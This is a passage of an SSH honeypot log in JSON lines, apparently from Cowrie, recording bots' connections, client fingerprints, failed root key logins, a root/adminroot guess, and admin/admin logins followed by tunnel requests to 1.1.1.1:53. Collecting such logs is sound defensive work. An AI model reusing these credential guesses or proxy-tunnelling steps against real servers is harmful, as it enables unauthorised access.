{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:1c:e7:cb:17:19:f9:a3:ad:01:20:df:b1:0e:6a:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcU8FB6TdBbz5F2XeNwdE4X3su7LJfbj+TjCrUGqmufe61572q3RO2DW6NjC/AEabZdu2PcxYfwsQOdV8ww9gcRL3Y8yo5zqiWxTPqPnH1xTc8Ob88rzk0ps7h6y+HaaGTZMg1/RjX13o5hI35PUwiLPGUjcxc9m3oGsi5BgDezTeaxzFQOGVJhvoeiiadZEPom74rjHLzV6ky90PCCt8J345bLJUAIA/B06JX+/WRO8G9jiF2aqhF7WDkNRT1k/lNfkJNw/6VOtUfNpDpmJwM8yKtznCjJNqDje/FOXPsBktApXgsLJ07sLT/FpBdlUTm+KNYXWsAQKK+oA2x72NN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:37.738894Z","src_ip":"191.241.76.128","session":"29f09442e45b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:3a:7d:fc:7a:a6:b6:e6:f9:0c:17:96:e8:c8:00:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4Uig2oiKFTIySh/YNIsrfXPHeA5qsZ32KvwMKlMNtm3Hmnag3wNO37kBFS80FOJ+1UKKXM053xkvilpc1Pc7xArLesrcmejXE+9p9g6zIrn/r6trI5afPRxabqkJu6Bg/CYN5VZZ0qvIFC1WD1Pg8nx0ZyMXjiu8QJvhR5AoQjF4R9KaX+pqUu222yPCj0Zj3wkv8NCi8Uu7zsPYBhegoOvwCaQ1RAZi0LT5qFgV+SU8AQ5CUMiP7ybBrxKH8oX2kkgy9wafqJ+tN3EM4xlgPqmRtD8MP3pltxk8kAtvYdANe/nLcoqhF/SkgHWKF0Uw4GEHqnUQMjYN8ag8p3cYxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:3a:7d:fc:7a:a6:b6:e6:f9:0c:17:96:e8:c8:00:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:37.871698Z","src_ip":"191.241.76.128","session":"29f09442e45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:3a:7d:fc:7a:a6:b6:e6:f9:0c:17:96:e8:c8:00:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4Uig2oiKFTIySh/YNIsrfXPHeA5qsZ32KvwMKlMNtm3Hmnag3wNO37kBFS80FOJ+1UKKXM053xkvilpc1Pc7xArLesrcmejXE+9p9g6zIrn/r6trI5afPRxabqkJu6Bg/CYN5VZZ0qvIFC1WD1Pg8nx0ZyMXjiu8QJvhR5AoQjF4R9KaX+pqUu222yPCj0Zj3wkv8NCi8Uu7zsPYBhegoOvwCaQ1RAZi0LT5qFgV+SU8AQ5CUMiP7ybBrxKH8oX2kkgy9wafqJ+tN3EM4xlgPqmRtD8MP3pltxk8kAtvYdANe/nLcoqhF/SkgHWKF0Uw4GEHqnUQMjYN8ag8p3cYxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:37.875700Z","src_ip":"191.241.76.128","session":"29f09442e45b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:38:5f:97:03:b3:0a:d0:e1:e6:5e:29:bf:88:ee:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr7b0ooS15y6oHVzHywY4GZMfaKLPPacOZuNCorsUFF0GLNqYsQRAXfJOnonMjvq8yGTpDenwFIOP13opZrLTQ5N1LkBS9TnnsOvtOkunC5RkNjVFL80jQ/6Z3qWq5pd/Bzf94XGaZgj8FJRcWXPN0qT0u6zi4fZpch8TDtHNEOKZAFPQ2G3578gqu7ParP2TdttZi8vcEDEDseJycyDntiWciW5CtLDMRNeo7N/KlmDbQXwcrHts3E0I9M/7tLVLVGAZKEHDPuyaEyYDZQQ8z5O+JJo5PIN25ShmAgEC0sUWJeKN7glDBzZgq2INQgDGEW6Bc8hGyjv1tP5xdRt1VQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:38:5f:97:03:b3:0a:d0:e1:e6:5e:29:bf:88:ee:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:38.013426Z","src_ip":"191.241.76.128","session":"29f09442e45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:38:5f:97:03:b3:0a:d0:e1:e6:5e:29:bf:88:ee:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr7b0ooS15y6oHVzHywY4GZMfaKLPPacOZuNCorsUFF0GLNqYsQRAXfJOnonMjvq8yGTpDenwFIOP13opZrLTQ5N1LkBS9TnnsOvtOkunC5RkNjVFL80jQ/6Z3qWq5pd/Bzf94XGaZgj8FJRcWXPN0qT0u6zi4fZpch8TDtHNEOKZAFPQ2G3578gqu7ParP2TdttZi8vcEDEDseJycyDntiWciW5CtLDMRNeo7N/KlmDbQXwcrHts3E0I9M/7tLVLVGAZKEHDPuyaEyYDZQQ8z5O+JJo5PIN25ShmAgEC0sUWJeKN7glDBzZgq2INQgDGEW6Bc8hGyjv1tP5xdRt1VQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:38.018117Z","src_ip":"191.241.76.128","session":"29f09442e45b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:82:bc:21:5d:ac:3b:e9:1d:c5:f5:0c:bb:30:e0:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUNUNIt2VCl/hbfh5iLrlLVxLI6eId28ahNbGQ+iolFDYOK8c7WVjv7UWbxbvnEExQjF8BlR79KEH/2LJfXI667W/9OnZoV7vpvvpJ0NIOmyLxMggbdtoxE3KXfENbLA5u6ICsuzZi00jkESJFRL1YtNeRbZuxLocOVgNJpz/oN62B2shlZPz2etiWi0Cac6sDYu48TbH3pJNljL20WsZHYKqHSVzE/1ZaQtAJIJ282QeOf+W3+5TIE7vOGEAOj844Qsd5yCgmKuG7QVRKEi1hisJ4qrktKWISLAsI88s2JvQzggOobgHNF2F80P1CfGUzhlItgg4l/QHOe1JSICLB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:82:bc:21:5d:ac:3b:e9:1d:c5:f5:0c:bb:30:e0:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:38.152699Z","src_ip":"191.241.76.128","session":"29f09442e45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:82:bc:21:5d:ac:3b:e9:1d:c5:f5:0c:bb:30:e0:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUNUNIt2VCl/hbfh5iLrlLVxLI6eId28ahNbGQ+iolFDYOK8c7WVjv7UWbxbvnEExQjF8BlR79KEH/2LJfXI667W/9OnZoV7vpvvpJ0NIOmyLxMggbdtoxE3KXfENbLA5u6ICsuzZi00jkESJFRL1YtNeRbZuxLocOVgNJpz/oN62B2shlZPz2etiWi0Cac6sDYu48TbH3pJNljL20WsZHYKqHSVzE/1ZaQtAJIJ282QeOf+W3+5TIE7vOGEAOj844Qsd5yCgmKuG7QVRKEi1hisJ4qrktKWISLAsI88s2JvQzggOobgHNF2F80P1CfGUzhlItgg4l/QHOe1JSICLB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:38.157326Z","src_ip":"191.241.76.128","session":"29f09442e45b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:c1:e0:55:8a:ea:c8:ca:8a:94:07:3c:cb:5e:ae:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnwlH0xR/zGdOnoxCWzZkDtRrA/1j00VlFbiXvl7o8IT8PMA/svtnu8CD6DMmhX9PxyW+WfQnYByR+wtKUbLzMhxVgXzgLv6lUSYnags003IFVK/kQUIz7KiFWVsnDMsYcbQdVUFqLzXI/e5bbW31qdlLX4QA3/7ujQQP1e3bwmYoXabE/ZqhFwuGOyvHWRiHncoPCun5uSmWmhQKV+kAcJVCEFZf+0xP76pFfMgSI5/nQ2JmcPjqM0VUILbcVGoMM/f5djogrkbfwtxtOEDH4fHXG2UR4MbyYJRt+08EFaMGYb4gYkzx7w7MWDLP/uLEhD+d3RotuV5N4C7VCBBip","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:c1:e0:55:8a:ea:c8:ca:8a:94:07:3c:cb:5e:ae:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:38.303866Z","src_ip":"191.241.76.128","session":"29f09442e45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:c1:e0:55:8a:ea:c8:ca:8a:94:07:3c:cb:5e:ae:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnwlH0xR/zGdOnoxCWzZkDtRrA/1j00VlFbiXvl7o8IT8PMA/svtnu8CD6DMmhX9PxyW+WfQnYByR+wtKUbLzMhxVgXzgLv6lUSYnags003IFVK/kQUIz7KiFWVsnDMsYcbQdVUFqLzXI/e5bbW31qdlLX4QA3/7ujQQP1e3bwmYoXabE/ZqhFwuGOyvHWRiHncoPCun5uSmWmhQKV+kAcJVCEFZf+0xP76pFfMgSI5/nQ2JmcPjqM0VUILbcVGoMM/f5djogrkbfwtxtOEDH4fHXG2UR4MbyYJRt+08EFaMGYb4gYkzx7w7MWDLP/uLEhD+d3RotuV5N4C7VCBBip","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:38.307627Z","src_ip":"191.241.76.128","session":"29f09442e45b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:38.443549Z","src_ip":"191.241.76.128","session":"29f09442e45b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":33030,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d82c38950d3","protocol":"ssh","message":"New connection: 27.74.248.52:33030 (10.17.0.5:22) [session: 2d82c38950d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:37:05.615308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:37:05.620486Z","src_ip":"27.74.248.52","session":"2d82c38950d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:37:06.078952Z","src_ip":"27.74.248.52","session":"2d82c38950d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot","message":"login attempt [root/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:37:07.492294Z","src_ip":"27.74.248.52","session":"2d82c38950d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:37:08.951916Z","src_ip":"27.74.248.52","session":"2d82c38950d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45720,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb19887c73fe","protocol":"ssh","message":"New connection: 87.251.64.176:45720 (10.17.0.5:22) [session: cb19887c73fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:39:28.081231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:39:28.086577Z","src_ip":"87.251.64.176","session":"cb19887c73fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:39:28.183691Z","src_ip":"87.251.64.176","session":"cb19887c73fe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:39:28.473579Z","src_ip":"87.251.64.176","session":"cb19887c73fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:39:28.572251Z","session":"cb19887c73fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:39:28.669380Z","src_ip":"87.251.64.176","session":"cb19887c73fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:39:28.768137Z","src_ip":"87.251.64.176","session":"cb19887c73fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27124,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f2667631a0b","protocol":"ssh","message":"New connection: 87.251.64.176:27124 (10.17.0.5:22) [session: 5f2667631a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:40:45.225583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:40:45.230630Z","src_ip":"87.251.64.176","session":"5f2667631a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:40:45.327760Z","src_ip":"87.251.64.176","session":"5f2667631a0b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:40:45.619778Z","src_ip":"87.251.64.176","session":"5f2667631a0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:40:45.719206Z","session":"5f2667631a0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:40:45.817344Z","src_ip":"87.251.64.176","session":"5f2667631a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:40:45.916730Z","src_ip":"87.251.64.176","session":"5f2667631a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.216","src_port":48028,"dst_ip":"10.17.0.5","dst_port":22,"session":"0393cf06303b","protocol":"ssh","message":"New connection: 38.96.178.216:48028 (10.17.0.5:22) [session: 0393cf06303b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.094756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.099539Z","src_ip":"38.96.178.216","session":"0393cf06303b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:44:25.108276Z","src_ip":"38.96.178.216","session":"0393cf06303b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:22:96:3a:a3:43:c0:a1:2c:b0:2b:f5:fa:01:d9:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRcBHkVFbv1/uWG7XLmmd1Y7A2h8L/1/T4/a+i3KWS7139NFdQk3QPwG7VruQmTPkB/HVvxaPb1OvU886/b6MReXKNNXCnFwUSMUl05czX/0NvKM6va08JIaQ0ntGjWiFhO64tLZn0g7ji58Ysf2Yabq8+oQkB+bTb2SDtYdYDp50KD4X/fZlPCN33y9NMGncRzwyUSULBqaf2LxDsj+BEiYhxvvyeGl/N8NGBfAwCije0ZwHG5qSwlh+/CmbJbezQL4LeeZkOrByRslpQOOLc+Q8EBEtqdJKwsBKUna3zETqpOY2MwzJJTJ9vk5KdrfZqpEA76/3AARXNg1RgZPad","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 